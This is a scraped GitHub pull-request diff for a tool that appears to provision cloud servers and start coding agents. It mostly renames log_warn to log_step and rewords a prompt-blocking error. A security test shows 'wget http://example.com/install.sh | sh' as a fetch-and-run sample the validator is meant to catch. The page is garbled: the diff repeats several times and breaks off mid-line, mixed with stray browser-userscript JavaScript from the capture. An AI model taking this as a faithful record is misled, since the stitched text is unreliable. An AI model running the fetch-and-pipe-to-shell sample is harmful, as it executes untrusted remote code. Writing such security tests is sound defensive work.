"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -70,7 +70,7 @@ log_info "Server: ${SERVER_NAME} (ID: ${HETZNER_SERVER_ID}, IP: ${HETZNER_SERVER
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions hetzner/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -244,7 +244,7 @@ create_server() {
validate_resource_name "$server_type" || { log_error "Invalid HETZNER_SERVER_TYPE"; return 1; }
validate_region_name "$location" || { log_error "Invalid HETZNER_LOCATION"; return 1; }

log_warn "Creating Hetzner server '$name' (type: $server_type, location: $location)..."
log_step "Creating Hetzner server '$name' (type: $server_type, location: $location)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -280,7 +280,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local server_id="$1"

log_warn "Destroying server $server_id..."
log_step "Destroying server $server_id..."
local response
response=$(hetzner_api DELETE "/servers/$server_id")

Expand Down
32 changes: 19 additions & 13 deletions shared/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -15,6 +15,7 @@
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Print colored messages (to stderr so they don't pollute command substitution output)
Expand All@@ -30,6 +31,11 @@ log_error() {
printf '%b\n' "${RED}${1}${NC}" >&2
}

# Progress/status messages (use instead of log_warn for non-warning status updates)
log_step() {
printf '%b\n' "${CYAN}${1}${NC}" >&2
}

# ============================================================
# Configurable timing constants
# ============================================================
Expand DownExpand Up@@ -111,7 +117,7 @@ open_browser() {
elif command -v xdg-open &> /dev/null; then
xdg-open "${url}" </dev/null
else
log_warn "Please open: ${url}"
log_step "Please open: ${url}"
fi
}

Expand DownExpand Up@@ -894,7 +900,7 @@ generate_ssh_key_if_missing() {
if [[ -f "${key_path}" ]]; then
return 0
fi
log_warn "Generating SSH key..."
log_step "Generating SSH key..."
mkdir -p "$(dirname "${key_path}")"
ssh-keygen -t ed25519 -f "${key_path}" -N "" -q
log_info "SSH key generated at ${key_path}"
Expand DownExpand Up@@ -1239,7 +1245,7 @@ verify_agent_installed() {
local verify_arg="${2:---version}"
local agent_name="${3:-${agent_cmd}}"

log_warn "Verifying ${agent_name} installation..."
log_step "Verifying ${agent_name} installation..."

if ! command -v "${agent_cmd}" &> /dev/null; then
log_error "${agent_name} installation failed: command '${agent_cmd}' not found in PATH"
Expand DownExpand Up@@ -1334,7 +1340,7 @@ generic_ssh_wait() {
local max_interval=30
local elapsed_time=0

log_warn "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
log_step "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
# shellcheck disable=SC2086
if ssh ${ssh_opts} "${username}@${ip}" "${test_cmd}" >/dev/null 2>&1; then
Expand All@@ -1346,7 +1352,7 @@ generic_ssh_wait() {
local jitter
jitter=$(calculate_retry_backoff "${interval}" "${max_interval}")

log_warn "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
log_step "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
sleep "${jitter}"

elapsed_time=$((elapsed_time + jitter))
Expand DownExpand Up@@ -1452,7 +1458,7 @@ generic_wait_for_instance() {
local poll_delay="${INSTANCE_STATUS_POLL_DELAY:-5}"

local attempt=1
log_warn "Waiting for ${description} to become ${target_status}..."
log_step "Waiting for ${description} to become ${target_status}..."

while [[ "${attempt}" -le "${max_attempts}" ]]; do
local response
Expand All@@ -1472,7 +1478,7 @@ generic_wait_for_instance() {
fi
fi

log_warn "${description} status: ${status} (${attempt}/${max_attempts})"
log_step "${description} status: ${status} (${attempt}/${max_attempts})"
sleep "${poll_delay}"
attempt=$((attempt + 1))
done
Expand DownExpand Up@@ -1583,8 +1589,8 @@ ensure_api_token_with_provider() {

# Prompt for new token
echo ""
log_warn "${provider_name} API Token Required"
log_warn "Get your token from: ${help_url}"
log_step "${provider_name} API Token Required"
log_step "Get your token from: ${help_url}"
echo ""

local token
Expand DownExpand Up@@ -1708,7 +1714,7 @@ setup_claude_code_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Claude Code..."
log_step "Configuring Claude Code..."

# Create ~/.claude directory
${run_callback} "mkdir -p ~/.claude"
Expand DownExpand Up@@ -1762,7 +1768,7 @@ setup_openclaw_config() {
local upload_callback="${3}"
local run_callback="${4}"

log_warn "Configuring openclaw..."
log_step "Configuring openclaw..."

# Create ~/.openclaw directory
${run_callback} "rm -rf ~/.openclaw && mkdir -p ~/.openclaw"
Expand DownExpand Up@@ -1804,7 +1810,7 @@ setup_continue_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Continue..."
log_step "Configuring Continue..."

# Create ~/.continue directory
${run_callback} "mkdir -p ~/.continue"
Expand DownExpand Up@@ -1938,7 +1944,7 @@ ensure_ssh_key_with_provider() {
fi

# Register the key (provider-specific)
log_warn "Registering SSH key with ${provider_name}..."
log_step "Registering SSH key with ${provider_name}..."
local key_name
key_name="spawn-$(hostname)-$(date +%s)"

Expand Down
14 changes: 7 additions & 7 deletions sprite/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -53,7 +53,7 @@ ensure_sprite_installed() {
done

# sprite not found, install it
log_warn "Installing sprite CLI..."
log_step "Installing sprite CLI..."
if ! curl -fsSL https://sprites.dev/install.sh | bash; then
log_error "Failed to install sprite CLI"
log_error ""
Expand All@@ -80,7 +80,7 @@ ensure_sprite_installed() {
# Check if already authenticated with sprite
ensure_sprite_authenticated() {
if ! sprite org list &> /dev/null; then
log_warn "Logging in to sprite..."
log_step "Logging in to sprite..."
sprite login || true
fi
}
Expand All@@ -107,10 +107,10 @@ ensure_sprite_exists() {
return 0
fi

log_warn "Creating sprite '${sprite_name}'..."
log_step "Creating sprite '${sprite_name}'..."
sprite create -skip-console "${sprite_name}" || true

log_warn "Waiting for sprite to be provisioned..."
log_step "Waiting for sprite to be provisioned..."
local elapsed=0
while [[ "${elapsed}" -lt "${max_wait}" ]]; do
if sprite list 2>/dev/null | grep -qE "^${sprite_name}( |$)"; then
Expand All@@ -131,13 +131,13 @@ verify_sprite_connectivity() {
local max_attempts=${2:-6}
local attempt=1

log_warn "Verifying sprite connectivity..."
log_step "Verifying sprite connectivity..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
if sprite exec -s "${sprite_name}" -- echo "ok" >/dev/null 2>&1; then
log_info "Sprite '${sprite_name}' is ready"
return 0
fi
log_warn "Sprite not ready, retrying (${attempt}/${max_attempts})..."
log_step "Sprite not ready, retrying (${attempt}/${max_attempts})..."
sleep "${SPRITE_CONNECTIVITY_POLL_DELAY}"
((attempt++))
done
Expand DownExpand Up@@ -166,7 +166,7 @@ run_sprite() {
# Configure shell environment (PATH, zsh setup)
setup_shell_environment() {
local sprite_name=${1}
log_warn "Configuring shell environment..."
log_step "Configuring shell environment..."

# Create temp file with path config
local path_temp
Expand Down
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms"); } } catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions cli/src/__tests__/security.test.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -182,8 +182,8 @@ wget http://example.com/install.sh | sh
validatePrompt("Run $(echo test)");
throw new Error("Expected validatePrompt to throw");
} catch (e: any) {
expect(e.message).toContain("prompt-file");
expect(e.message).toContain("spawn");
expect(e.message).toContain("false positive");
expect(e.message).toContain("rephrasing");
}
});

Expand Down
5 changes: 2 additions & 3 deletions cli/src/security.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -108,9 +108,8 @@ export function validatePrompt(prompt: string): void {
throw new Error(
`Prompt blocked: contains potentially dangerous pattern (${description}).\n` +
`\n` +
`If this is a false positive, use --prompt-file instead:\n` +
` echo "your prompt" > prompt.txt\n` +
` spawn <agent> <cloud> --prompt-file prompt.txt`
`If this is a false positive, try rephrasing to avoid shell-like syntax\n` +
`(e.g., describe the command instead of writing it literally).`
);
}
}
Expand Down
8 changes: 4 additions & 4 deletions digitalocean/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -31,9 +31,9 @@ verify_server_connectivity "${DO_SERVER_IP}"
wait_for_cloud_init "${DO_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${DO_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -54,7 +54,7 @@ else
fi

# 7. Inject environment variables into ~/.zshrc
log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${DO_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -74,7 +74,7 @@ log_info "Droplet: ${DROPLET_NAME} (ID: ${DO_DROPLET_ID}, IP: ${DO_SERVER_IP})"
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions digitalocean/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -166,7 +166,7 @@ create_server() {
validate_resource_name "$size" || { log_error "Invalid DO_DROPLET_SIZE"; return 1; }
validate_region_name "$region" || { log_error "Invalid DO_REGION"; return 1; }

log_warn "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."
log_step "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -219,7 +219,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local droplet_id="$1"

log_warn "Destroying droplet $droplet_id..."
log_step "Destroying droplet $droplet_id..."
local response
response=$(do_api DELETE "/droplets/$droplet_id")

Expand Down
8 changes: 4 additions & 4 deletions hetzner/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -28,9 +28,9 @@ verify_server_connectivity "${HETZNER_SERVER_IP}"
wait_for_cloud_init "${HETZNER_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${HETZNER_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -50,7 +50,7 @@ else
OPENROUTER_API_KEY=$(get_openrouter_api_key_oauth 5180)
fi

log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${HETZNER_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -70,7 +70,7 @@ log_info "Server: ${SERVER_NAME} (ID: ${HETZNER_SERVER_ID}, IP: ${HETZNER_SERVER
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions hetzner/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -244,7 +244,7 @@ create_server() {
validate_resource_name "$server_type" || { log_error "Invalid HETZNER_SERVER_TYPE"; return 1; }
validate_region_name "$location" || { log_error "Invalid HETZNER_LOCATION"; return 1; }

log_warn "Creating Hetzner server '$name' (type: $server_type, location: $location)..."
log_step "Creating Hetzner server '$name' (type: $server_type, location: $location)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -280,7 +280,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local server_id="$1"

log_warn "Destroying server $server_id..."
log_step "Destroying server $server_id..."
local response
response=$(hetzner_api DELETE "/servers/$server_id")

Expand Down
32 changes: 19 additions & 13 deletions shared/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -15,6 +15,7 @@
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Print colored messages (to stderr so they don't pollute command substitution output)
Expand All@@ -30,6 +31,11 @@ log_error() {
printf '%b\n' "${RED}${1}${NC}" >&2
}

# Progress/status messages (use instead of log_warn for non-warning status updates)
log_step() {
printf '%b\n' "${CYAN}${1}${NC}" >&2
}

# ============================================================
# Configurable timing constants
# ============================================================
Expand DownExpand Up@@ -111,7 +117,7 @@ open_browser() {
elif command -v xdg-open &> /dev/null; then
xdg-open "${url}" </dev/null
else
log_warn "Please open: ${url}"
log_step "Please open: ${url}"
fi
}

Expand DownExpand Up@@ -894,7 +900,7 @@ generate_ssh_key_if_missing() {
if [[ -f "${key_path}" ]]; then
return 0
fi
log_warn "Generating SSH key..."
log_step "Generating SSH key..."
mkdir -p "$(dirname "${key_path}")"
ssh-keygen -t ed25519 -f "${key_path}" -N "" -q
log_info "SSH key generated at ${key_path}"
Expand DownExpand Up@@ -1239,7 +1245,7 @@ verify_agent_installed() {
local verify_arg="${2:---version}"
local agent_name="${3:-${agent_cmd}}"

log_warn "Verifying ${agent_name} installation..."
log_step "Verifying ${agent_name} installation..."

if ! command -v "${agent_cmd}" &> /dev/null; then
log_error "${agent_name} installation failed: command '${agent_cmd}' not found in PATH"
Expand DownExpand Up@@ -1334,7 +1340,7 @@ generic_ssh_wait() {
local max_interval=30
local elapsed_time=0

log_warn "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
log_step "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
# shellcheck disable=SC2086
if ssh ${ssh_opts} "${username}@${ip}" "${test_cmd}" >/dev/null 2>&1; then
Expand All@@ -1346,7 +1352,7 @@ generic_ssh_wait() {
local jitter
jitter=$(calculate_retry_backoff "${interval}" "${max_interval}")

log_warn "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
log_step "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
sleep "${jitter}"

elapsed_time=$((elapsed_time + jitter))
Expand DownExpand Up@@ -1452,7 +1458,7 @@ generic_wait_for_instance() {
local poll_delay="${INSTANCE_STATUS_POLL_DELAY:-5}"

local attempt=1
log_warn "Waiting for ${description} to become ${target_status}..."
log_step "Waiting for ${description} to become ${target_status}..."

while [[ "${attempt}" -le "${max_attempts}" ]]; do
local response
Expand All@@ -1472,7 +1478,7 @@ generic_wait_for_instance() {
fi
fi

log_warn "${description} status: ${status} (${attempt}/${max_attempts})"
log_step "${description} status: ${status} (${attempt}/${max_attempts})"
sleep "${poll_delay}"
attempt=$((attempt + 1))
done
Expand DownExpand Up@@ -1583,8 +1589,8 @@ ensure_api_token_with_provider() {

# Prompt for new token
echo ""
log_warn "${provider_name} API Token Required"
log_warn "Get your token from: ${help_url}"
log_step "${provider_name} API Token Required"
log_step "Get your token from: ${help_url}"
echo ""

local token
Expand DownExpand Up@@ -1708,7 +1714,7 @@ setup_claude_code_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Claude Code..."
log_step "Configuring Claude Code..."

# Create ~/.claude directory
${run_callback} "mkdir -p ~/.claude"
Expand DownExpand Up@@ -1762,7 +1768,7 @@ setup_openclaw_config() {
local upload_callback="${3}"
local run_callback="${4}"

log_warn "Configuring openclaw..."
log_step "Configuring openclaw..."

# Create ~/.openclaw directory
${run_callback} "rm -rf ~/.openclaw && mkdir -p ~/.openclaw"
Expand DownExpand Up@@ -1804,7 +1810,7 @@ setup_continue_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Continue..."
log_step "Configuring Continue..."

# Create ~/.continue directory
${run_callback} "mkdir -p ~/.continue"
Expand DownExpand Up@@ -1938,7 +1944,7 @@ ensure_ssh_key_with_provider() {
fi

# Register the key (provider-specific)
log_warn "Registering SSH key with ${provider_name}..."
log_step "Registering SSH key with ${provider_name}..."
local key_name
key_name="spawn-$(hostname)-$(date +%s)"

Expand Down
14 changes: 7 additions & 7 deletions sprite/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -53,7 +53,7 @@ ensure_sprite_installed() {
done

# sprite not found, install it
log_warn "Installing sprite CLI..."
log_step "Installing sprite CLI..."
if ! curl -fsSL https://sprites.dev/install.sh | bash; then
log_error "Failed to install sprite CLI"
log_error ""
Expand All@@ -80,7 +80,7 @@ ensure_sprite_installed() {
# Check if already authenticated with sprite
ensure_sprite_authenticated() {
if ! sprite org list &> /dev/null; then
log_warn "Logging in to sprite..."
log_step "Logging in to sprite..."
sprite login || true
fi
}
Expand All@@ -107,10 +107,10 @@ ensure_sprite_exists() {
return 0
fi

log_warn "Creating sprite '${sprite_name}'..."
log_step "Creating sprite '${sprite_name}'..."
sprite create -skip-console "${sprite_name}" || true

log_warn "Waiting for sprite to be provisioned..."
log_step "Waiting for sprite to be provisioned..."
local elapsed=0
while [[ "${elapsed}" -lt "${max_wait}" ]]; do
if sprite list 2>/dev/null | grep -qE "^${sprite_name}( |$)"; then
Expand All@@ -131,13 +131,13 @@ verify_sprite_connectivity() {
local max_attempts=${2:-6}
local attempt=1

log_warn "Verifying sprite connectivity..."
log_step "Verifying sprite connectivity..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
if sprite exec -s "${sprite_name}" -- echo "ok" >/dev/null 2>&1; then
log_info "Sprite '${sprite_name}' is ready"
return 0
fi
log_warn "Sprite not ready, retrying (${attempt}/${max_attempts})..."
log_step "Sprite not ready, retrying (${attempt}/${max_attempts})..."
sleep "${SPRITE_CONNECTIVITY_POLL_DELAY}"
((attempt++))
done
Expand DownExpand Up@@ -166,7 +166,7 @@ run_sprite() {
# Configure shell environment (PATH, zsh setup)
setup_shell_environment() {
local sprite_name=${1}
log_warn "Configuring shell environment..."
log_step "Configuring shell environment..."

# Create temp file with path config
local path_temp
Expand Down
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links"); } } catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); } })(); (function(){ try { var __m = "youtube.com"; var __re = new RegExp('^' + "youtube\\.com" + '
Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions cli/src/__tests__/security.test.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -182,8 +182,8 @@ wget http://example.com/install.sh | sh
validatePrompt("Run $(echo test)");
throw new Error("Expected validatePrompt to throw");
} catch (e: any) {
expect(e.message).toContain("prompt-file");
expect(e.message).toContain("spawn");
expect(e.message).toContain("false positive");
expect(e.message).toContain("rephrasing");
}
});

Expand Down
5 changes: 2 additions & 3 deletions cli/src/security.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -108,9 +108,8 @@ export function validatePrompt(prompt: string): void {
throw new Error(
`Prompt blocked: contains potentially dangerous pattern (${description}).\n` +
`\n` +
`If this is a false positive, use --prompt-file instead:\n` +
` echo "your prompt" > prompt.txt\n` +
` spawn <agent> <cloud> --prompt-file prompt.txt`
`If this is a false positive, try rephrasing to avoid shell-like syntax\n` +
`(e.g., describe the command instead of writing it literally).`
);
}
}
Expand Down
8 changes: 4 additions & 4 deletions digitalocean/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -31,9 +31,9 @@ verify_server_connectivity "${DO_SERVER_IP}"
wait_for_cloud_init "${DO_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${DO_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -54,7 +54,7 @@ else
fi

# 7. Inject environment variables into ~/.zshrc
log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${DO_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -74,7 +74,7 @@ log_info "Droplet: ${DROPLET_NAME} (ID: ${DO_DROPLET_ID}, IP: ${DO_SERVER_IP})"
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions digitalocean/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -166,7 +166,7 @@ create_server() {
validate_resource_name "$size" || { log_error "Invalid DO_DROPLET_SIZE"; return 1; }
validate_region_name "$region" || { log_error "Invalid DO_REGION"; return 1; }

log_warn "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."
log_step "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -219,7 +219,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local droplet_id="$1"

log_warn "Destroying droplet $droplet_id..."
log_step "Destroying droplet $droplet_id..."
local response
response=$(do_api DELETE "/droplets/$droplet_id")

Expand Down
8 changes: 4 additions & 4 deletions hetzner/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -28,9 +28,9 @@ verify_server_connectivity "${HETZNER_SERVER_IP}"
wait_for_cloud_init "${HETZNER_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${HETZNER_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -50,7 +50,7 @@ else
OPENROUTER_API_KEY=$(get_openrouter_api_key_oauth 5180)
fi

log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${HETZNER_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -70,7 +70,7 @@ log_info "Server: ${SERVER_NAME} (ID: ${HETZNER_SERVER_ID}, IP: ${HETZNER_SERVER
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions hetzner/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -244,7 +244,7 @@ create_server() {
validate_resource_name "$server_type" || { log_error "Invalid HETZNER_SERVER_TYPE"; return 1; }
validate_region_name "$location" || { log_error "Invalid HETZNER_LOCATION"; return 1; }

log_warn "Creating Hetzner server '$name' (type: $server_type, location: $location)..."
log_step "Creating Hetzner server '$name' (type: $server_type, location: $location)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -280,7 +280,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local server_id="$1"

log_warn "Destroying server $server_id..."
log_step "Destroying server $server_id..."
local response
response=$(hetzner_api DELETE "/servers/$server_id")

Expand Down
32 changes: 19 additions & 13 deletions shared/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -15,6 +15,7 @@
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Print colored messages (to stderr so they don't pollute command substitution output)
Expand All@@ -30,6 +31,11 @@ log_error() {
printf '%b\n' "${RED}${1}${NC}" >&2
}

# Progress/status messages (use instead of log_warn for non-warning status updates)
log_step() {
printf '%b\n' "${CYAN}${1}${NC}" >&2
}

# ============================================================
# Configurable timing constants
# ============================================================
Expand DownExpand Up@@ -111,7 +117,7 @@ open_browser() {
elif command -v xdg-open &> /dev/null; then
xdg-open "${url}" </dev/null
else
log_warn "Please open: ${url}"
log_step "Please open: ${url}"
fi
}

Expand DownExpand Up@@ -894,7 +900,7 @@ generate_ssh_key_if_missing() {
if [[ -f "${key_path}" ]]; then
return 0
fi
log_warn "Generating SSH key..."
log_step "Generating SSH key..."
mkdir -p "$(dirname "${key_path}")"
ssh-keygen -t ed25519 -f "${key_path}" -N "" -q
log_info "SSH key generated at ${key_path}"
Expand DownExpand Up@@ -1239,7 +1245,7 @@ verify_agent_installed() {
local verify_arg="${2:---version}"
local agent_name="${3:-${agent_cmd}}"

log_warn "Verifying ${agent_name} installation..."
log_step "Verifying ${agent_name} installation..."

if ! command -v "${agent_cmd}" &> /dev/null; then
log_error "${agent_name} installation failed: command '${agent_cmd}' not found in PATH"
Expand DownExpand Up@@ -1334,7 +1340,7 @@ generic_ssh_wait() {
local max_interval=30
local elapsed_time=0

log_warn "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
log_step "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
